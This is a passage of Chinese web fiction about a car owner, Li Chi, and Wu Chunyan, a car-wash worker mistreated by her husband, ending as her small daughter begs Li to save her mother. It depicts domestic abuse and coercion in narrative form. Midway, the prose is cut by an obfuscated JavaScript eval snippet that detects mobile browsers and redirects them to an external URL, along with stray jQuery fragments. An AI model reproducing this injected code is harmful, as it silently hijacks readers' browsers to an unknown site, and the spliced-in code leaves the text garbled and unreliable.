厉驰有个习惯，车子入库前得干净。
他家小区门口就有家汽修店，两个门面连着的，老板修车，老板娘洗车。
他洗车一般都会去这家店，不仅因为店门关得晚，还因为老板娘干活仔细，车洗的也比别家干净。
洗车得十来分钟，厉驰闲得没事就去逗老板家的姑娘。
小丫头叫刘朵朵，花朵的朵。
四岁大的小团子，今年刚上幼儿园。
二月份，大冷的天，刘朵朵穿了件大红色的马褂棉服，眼睛圆，脸也圆，一打眼看过去跟个年画娃娃似的，喜庆、招人喜欢。
厉驰从兜里掏出一颗清口糖，俯身递给她。
刘朵朵背着手，奶里奶气地回答：“不吃。”
厉驰把糖收了回去，笑着问：“为什么？”
刘朵朵张了下嘴，露出里面歪七扭八的小牙齿：“我有蛀牙啦！妈妈不让我吃糖。”
老板走过来，分了根烟给他。
孩子还在面前呢，就这么吞云吐雾起来。
刘朵朵闻到了烟味，一溜烟跑开了。
那边老板娘一个人弯腰洗车，这边老板撇着条腿，站这儿悠闲地抽着烟，跟厉驰聊车型，聊油价，聊这世道挣钱难，店里轿车打蜡八折要不要参与一下。
厉驰把烟点着，看刘朵朵在路边捡了根树枝。
老板娘转头喊了一声，让她回来，别在路上玩。
做母亲的，背后都得长只眼。
隔几天，厉驰又来店里。
时间有点晚了，汽修店的卷帘门落了一半，里面隐约亮着灯光。
但太暗了，他估计自己这车洗不成。
然而下一秒，卷帘门后面躬身出来一个瘦小的女人，兜着手，缩着头，额前两缕碎发被冷风一吹，花蕊似的乱颤。
她的脸色有点苍白，被劈头盖脸的凉气冻得直眯眼，可说话却依旧带着笑，乐呵呵地问候一声：“厉老板今天回来得这么迟。”
那是汽修店的老板娘，叫吴春燕。
“有点事，”厉驰把车门摔上，“还能洗吗。”
冬天洗车不好干，十几二十块的，还冷，一般人大晚上不愿意遭这个罪。
吴春燕低着头，用鞋尖蹭蹭地面上的水渍，没结冰。
“能。”她接生意一点没迟疑，“我洗快点。”
吴春燕出了店就直奔洗车区，拎起拖把水桶就去接水了。
厉驰往旁边站站，点了根烟。
刘朵朵没出来，这个点估计已经睡了。
水声哗哗，吴春燕趁着接水的空档，又从店里拉出加压水枪扔在汽车边上。
她的脚步没停，扔完直接过去把水龙头关了，蹲身提起桶边的喷壶，晃晃里面的清洁剂，觉得不够，于是多兑了些。
真挺辛苦的，厉驰想。
大概二十分钟后，吴春燕哼哧哼哧把车洗好了。
厉驰看着她冻红的手，随口感叹：“这太冷了。”
吴春燕吸吸鼻涕，虽然看起来惨兮兮的，但依旧笑着：“干生意嘛，不冷不冷。”
她拢在后脑的头发因忙碌而微微散开，被昏黄的路灯照出一圈毛茸茸的金边。
可能是被冻的，她开始流清水鼻涕。
时不时就得从兜里拿纸擦擦，擦完了再塞回去。
厉驰上了车，扫码付钱：“太愧疚了，早点休息。”
吴春燕“哎”一声，和厉驰告别。
目送车子驶上马路，这才转身拉下卷帘门。
修车铺开在路边，是四米多高的厂房。
刘正豪在店里支了个隔层，下面用来存货，上面用来住人。
当初刘正豪跟吴春燕谈恋爱时，最常说的就是“我在庐州有家汽车店”。
那时小乡村经济条件很差，能在庐州扎根，还有家店铺，在别人眼里吴春燕算是高嫁。
可惜刘正豪不是个好男人，抽烟喝酒打女人样样都占。
这样的男人还会撒谎，骗起人来一套一套的，吴春燕就是被他的花言巧语给哄到手的。
婚结了，没半年新鲜劲一过，也不装了。
吴春燕长得漂亮，身边不缺追求者，年轻时小脾气养起来一点，以前还有精力跟他吵闹。
后来有了刘朵朵，孩子分走了大部分精力，慢慢就消停了下来。或者换句话说，是认命了。
为了孩子，她在这段婚姻里忍气吞声，尽量争取更多的资源，比如用石膏板在一楼的角落里给刘朵朵砌出了一间小卧室。
此刻，不到一米宽的单人床上，刘朵朵睡得正香。
房间里没开灯，月光从窗外洒进来，落了满床的银霜。
这件卧室虽然空间窄小，但床铺桌椅一应俱全，都是吴春燕一点一点按着刘朵朵的喜好布置出来的。
这是她的孩子，是她生活里唯一的温暖。
吴春燕俯下身，掖了掖女儿的被沿。
她的动作很轻，把指尖捂热一点，又整理了一下朵朵的头发。
突然，“啪”的一声，灯光骤然亮起。
吴春燕先是闻到一股烟味，刘正豪披着一件深绿色的军大衣，堵在小卧室的门口。
他嘴上叼着根烟，一点没压着音量：“你刚才干嘛去了？”
刘朵朵没醒，吴春燕赶紧把刘正豪往外推：“我洗车呢。”
刘正豪含糊不清道：“你洗什么车？人给你转两百？”
吴春燕把小卧室的房门关上，转身惊讶道：“两百？”
“那姓厉的老板。”刘正豪嘴里的烟灰直抖，“他怎么转这么多？”
“我不知道啊！”吴春燕瞪着眼，“他也没告诉我！”
刘正豪把烟屁股吐出去，低头用鞋尖碾灭了。
再抬头，对上吴春燕的视线，突然咧出一丝笑来，用手背十分轻佻地拍了一下吴春燕的脸：“心疼你呢。”
吴春燕皱着眉，偏头躲开了。
“早点睡吧。”她将自己的外套紧了紧，“明天还得——”
话没说完，刘正豪一把抱起吴春燕就往楼上走：“睡什么睡？赶紧给我生个儿子才是正事！”
吴春燕低低惊叫一声，挣扎了一下，没挣开：“刘正豪！”
刘正豪是个非常重男轻女的人，刘朵朵出生后，他就一直还想让吴春燕再生个儿子。
但一转眼刘朵朵都四岁了，吴春燕的肚子还是没有动静，刘正豪就有点生气了。
刘正豪经常骂她，刘正豪的母亲也骂她。
那些话可难听了，专挑阴毒的字眼来刺人，但吵来吵去这么多年，日子依旧照常过。
穷人结婚不容易，无论是刘正豪还是吴春燕，没人想过分开。
年后几天，刘正豪晚上在麻将馆通宵打牌，白天在店里呼呼大睡。
吴春燕一人照看店里生意，一些杂活她看得多了，也能勉强上手。
晚饭前，厉驰又把车开来了。
车行的卷帘门边贴着大红色的对联，门头上还挂着一小串红色的灯笼。一眼扫过去红彤彤的，特别喜庆。
吴春燕正坐在矮桌边，用正正方方的福字给刘朵朵扎风车。
刘朵朵扎着两个羊角辫，举着风车在店门前来回乱跑，咯咯直笑。
“朵朵回来，看着车。”
有车上门，吴春燕起身迎客。
她认得这辆车，车门刚一打开就先问了声好。
“厉老板新年好！”
厉驰听到这声音就猜她在笑，下车一看，果然对上一双笑盈盈的眼睛。
“今天下班早。”吴春燕边说边去准备洗车的工具。
厉驰同样笑着说：“这回洗车没那么冷。”
刘朵朵一通疯跑回来，顶着一脑门的汗。
厉驰找她要手里的风车，她就大方地给了。
“你做的？”厉驰问。
“妈妈做的。”刘朵朵说，“叔叔过年好！”
嘴甜的小孩惹人喜欢，厉驰掏出个红包给她。
吴春燕见了，连忙让刘朵朵还回去。
厉驰摆摆手：“没多少，图个吉利。”
别人说话时客套，她不能真不见外。吴春燕冲刘朵朵一瞪眼，吓得刘朵朵把红包塞进厉驰手上，转身头也不回地跑回了店里。
厉驰“哎”一声，哭笑不得：“这小孩。”
吴春燕拧了抹布擦车，专心忙着自己手上的工
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936829|213738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
作，声音从车的另一侧传来：“厉老板，你上次洗车付了两百，够洗十次了，之后就别再付钱了。”
“过年得有加班费啊。”厉驰笑着走过去，像是追着吴春燕似的跟她说话，“我看这一路上就你一家开着门，生意是不是挺好？”
“还行。”吴春燕又从车尾绕去另一边，“大多都是早上，饭点没什么人，饭后可能就多起来……”
她的话音越说越低，最后直接噤声了。
厉驰走过车后，看见吴春燕站在那儿，将有些厚重的冬衣衣袖往上捋了捋，露出半截白森森的小臂。
她低头盯着自己的手掌，用深紫色的抹布在手上擦擦，又擦擦。
“怎么了？”厉驰问。
“破了吧。”吴春燕喃喃了一声，快步走回店里抽了张纸往手上一按，殷红的血瞬间印了一片。
厉驰在店外隔着几米远，都能清楚地看到顺着她手腕流下来的血：“划着了吗？我看着还挺严重的。”
吴春燕把抹布放在桌上，又抽了几张纸囫囵擦了擦手，最后按住了某一指节，反复几次：“没什么，开裂了。”
她说这话的语气非常平淡，就好像在说“洗车二十”一样理所应当。
这时，刘朵朵从屋里出来。
吴春燕赶紧把那些沾血的纸巾团团塞进兜里，重新捡起桌上的抹布。
厉驰忍不住出声：“你这不去医院看看？”
“没事。”吴春燕换了一块新的抹布，“之前也有过，流一会儿就好了。”
厉驰有点震惊：“你还让它流一会儿？”
碍于刘朵朵在身边探头探脑，吴春燕把手背到身后，小声嘟囔着：“按着呢按着呢。”
这一敷衍的态度差点把厉驰气笑了。
眼见着吴春燕还要继续擦车，厉驰实在看不下去，把她手里的抹布拿走了：“得了，我自己擦。”
车已经洗的差不多了，把水渍擦干就算完。
厉驰闷头自己擦了半边车子，吴春燕没让他付钱。
他坐在车里，皱着眉，视线落在吴春燕冻得通红的手上，顺手从置物筐里拿出一支护手霜递给她。
吴春燕站在车外，微微一愣，垂眸看了眼他手上的东西，摇摇头：“不用了厉老板。”
“我对象留的，刚分，放我这没几天也得扔。”
吴春燕犹豫了片刻，还是摇头：“真不用了。”
厉驰“啧”了一声，把手收回来，小臂压在车窗边缘，笑着问：“怎么了？又不是什么好东西。”
吴春燕张了张嘴，又闭上，垂下眸，说不出来一句话。
生意场上的人，稍微有点反常就能看出来不对劲。
厉驰想自己可能给吴春燕添麻烦了，之前那两百块给得不合适。
所以之后几次，厉驰去吴春燕那儿洗车都没付钱。
“车不脏，你用水冲冲就行。”厉驰说。
“没关系。”吴春燕道，“闲着也是闲着。”
厉驰洗车的时间都不是特别正常，所以经常就他一人。
不过偶尔也会遇到排队的，吴春燕一连洗上四十多分钟，也都乐呵呵的。
她笑起来唇边有梨涡，眼睛弯起来也漂亮。不过厉驰觉得吴春燕身上最吸引人的是那股打不倒压不弯的韧劲，正常来说这样的女人一般不会过得太差。
只可惜，孩子绊住了她。
厉驰并没有什么别的想法，感慨归感慨，到底也是别人的人生。
他如往常那般上班下班，洗车回家。
直到一场大雪后的某天，厉驰下了晚班，车都到店门外了，也没见店里有什么动静。
他降下车窗，刚想喊一嗓子，却在开口之前听见店里传来几声咒骂，和隐约的哭声。
厉驰顿了两秒就明白是怎么了。
两口子的事他不参合，立刻关窗调头打算走人。
可偏偏这时候，半拉着的卷帘门下钻出来个小小的人影，像颗皮球似的“咕噜”一下手脚并用地滚到厉驰的车边，“噗通”一声跪下来了。
厉驰一脚刹车踩死，心道：完了。
“厉叔叔——”刘朵朵尖细的嗓音哭喊着，“救救妈妈!”